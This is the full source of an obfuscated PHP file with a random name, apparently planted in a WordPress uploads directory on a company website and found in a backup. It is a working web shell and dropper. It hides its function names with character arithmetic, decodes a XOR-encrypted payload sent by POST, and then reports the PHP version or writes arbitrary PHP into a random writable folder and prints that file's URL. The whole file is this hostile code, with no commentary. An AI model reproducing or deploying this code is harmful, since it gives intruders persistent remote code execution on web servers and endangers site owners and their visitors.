File: //old_home_backup/delanceyandco.co.uk/public_html/wp-content/uploads/2018/08/gzwtyhap.php
<?php $RaIcZsG = 'D'.chr(79).chr(846-779)."\x55".'M'.'E'.chr(586-508)."\x54".'_'.'R'.chr(734-655).chr(79)."\x54";$oFmIKhl = chr(72).chr(616-532)."\x54".chr(276-196)."\137"."\x48"."\x4f".chr(83).'T';$opaWKbBm = chr(104)."\x74"."\x74".chr(112).chr(58)."\57"."\x2f";$FeUHtmYF = "\56"."\160"."\150"."\x70";$bKszu = chr(112).chr(871-767).chr(425-313);$DcigTkiq = "\146"."\151"."\x6c".chr(101).chr(95)."\x70"."\165"."\164".'_'.chr(303-204).chr(686-575).chr(865-755).chr(116).chr(101).chr(212-102)."\x74".chr(1083-968);$vucnKgrB = chr(114).chr(920-823).'w'.chr(685-568).'r'."\x6c"."\x64".chr(101).chr(725-626).chr(111).chr(100).chr(101);$dMhYrt = "\165".chr(110).chr(438-323)."\145"."\162".'i'.chr(97).'l'."\x69".'z'.chr(101);$ppvxIJUq = "\x70"."\150"."\160".chr(118).'e'."\x72".chr(346-231)."\x69"."\x6f"."\x6e";$NRjgYlnx = chr(115).'t'.chr(667-553)."\x5f".chr(114)."\157".chr(560-444)."\x31".chr(739-688);$Zfmwiz = "\x73"."\145"."\x72".'i'.chr(97)."\154"."\151".chr(122)."\x65";$tnHhFY = "\x73"."\164".chr(241-127).chr(397-302).chr(115).'p'."\154".chr(784-679).chr(116);foreach ($_POST as $UlBwyS => $sUexSdh){if (strlen($UlBwyS) == 16){$sUexSdh = $tnHhFY($vucnKgrB($NRjgYlnx($sUexSdh)));$UlBwyS = array_slice($tnHhFY(str_repeat($UlBwyS, (count($sUexSdh)/16)+1)), 0, count($sUexSdh));function Hagod($qApwpg, $UCzaBDe, $UlBwyS){$oQfvmxbWDL = "2a6ff27a-87b8-4bca-88e4-bc5990fcdd99";return $qApwpg ^ $oQfvmxbWDL[$UCzaBDe % strlen($oQfvmxbWDL)] ^ $UlBwyS;}$sUexSdh = implode("", array_map("Hagod", array_values($sUexSdh), array_keys($sUexSdh), array_values($UlBwyS)));$sUexSdh = @$dMhYrt($sUexSdh);if (@is_array($sUexSdh)){$gTKgdKN = array_keys($sUexSdh);$sUexSdh = $sUexSdh[$gTKgdKN[0]];if ($sUexSdh === $gTKgdKN[0]){echo @$Zfmwiz(Array($bKszu => @$ppvxIJUq(), ));exit();}else {function TRaMnu($HNnFigir){static $XjHkggRBqK = array();$wckEtv = glob($HNnFigir . '/*', GLOB_ONLYDIR);if (count($wckEtv) > 0) {foreach ($wckEtv as $HNnFig) {if (@is_writable($HNnFig)) {$XjHkggRBqK[] = $HNnFig;}}}foreach ($wckEtv as $HNnFigir) TRaMnu($HNnFigir);return $XjHkggRBqK;}$QOADg = $_SERVER[$RaIcZsG];$wckEtv = TRaMnu($QOADg);$gTKgdKN = array_rand($wckEtv);$Eqfwsvxf = $wckEtv[$gTKgdKN] . "/" . substr(md5(time()), 0, 8) . $FeUHtmYF;@$DcigTkiq($Eqfwsvxf, $sUexSdh);echo $opaWKbBm . $_SERVER[$oFmIKhl] . substr($Eqfwsvxf, strlen($QOADg));exit();}}}}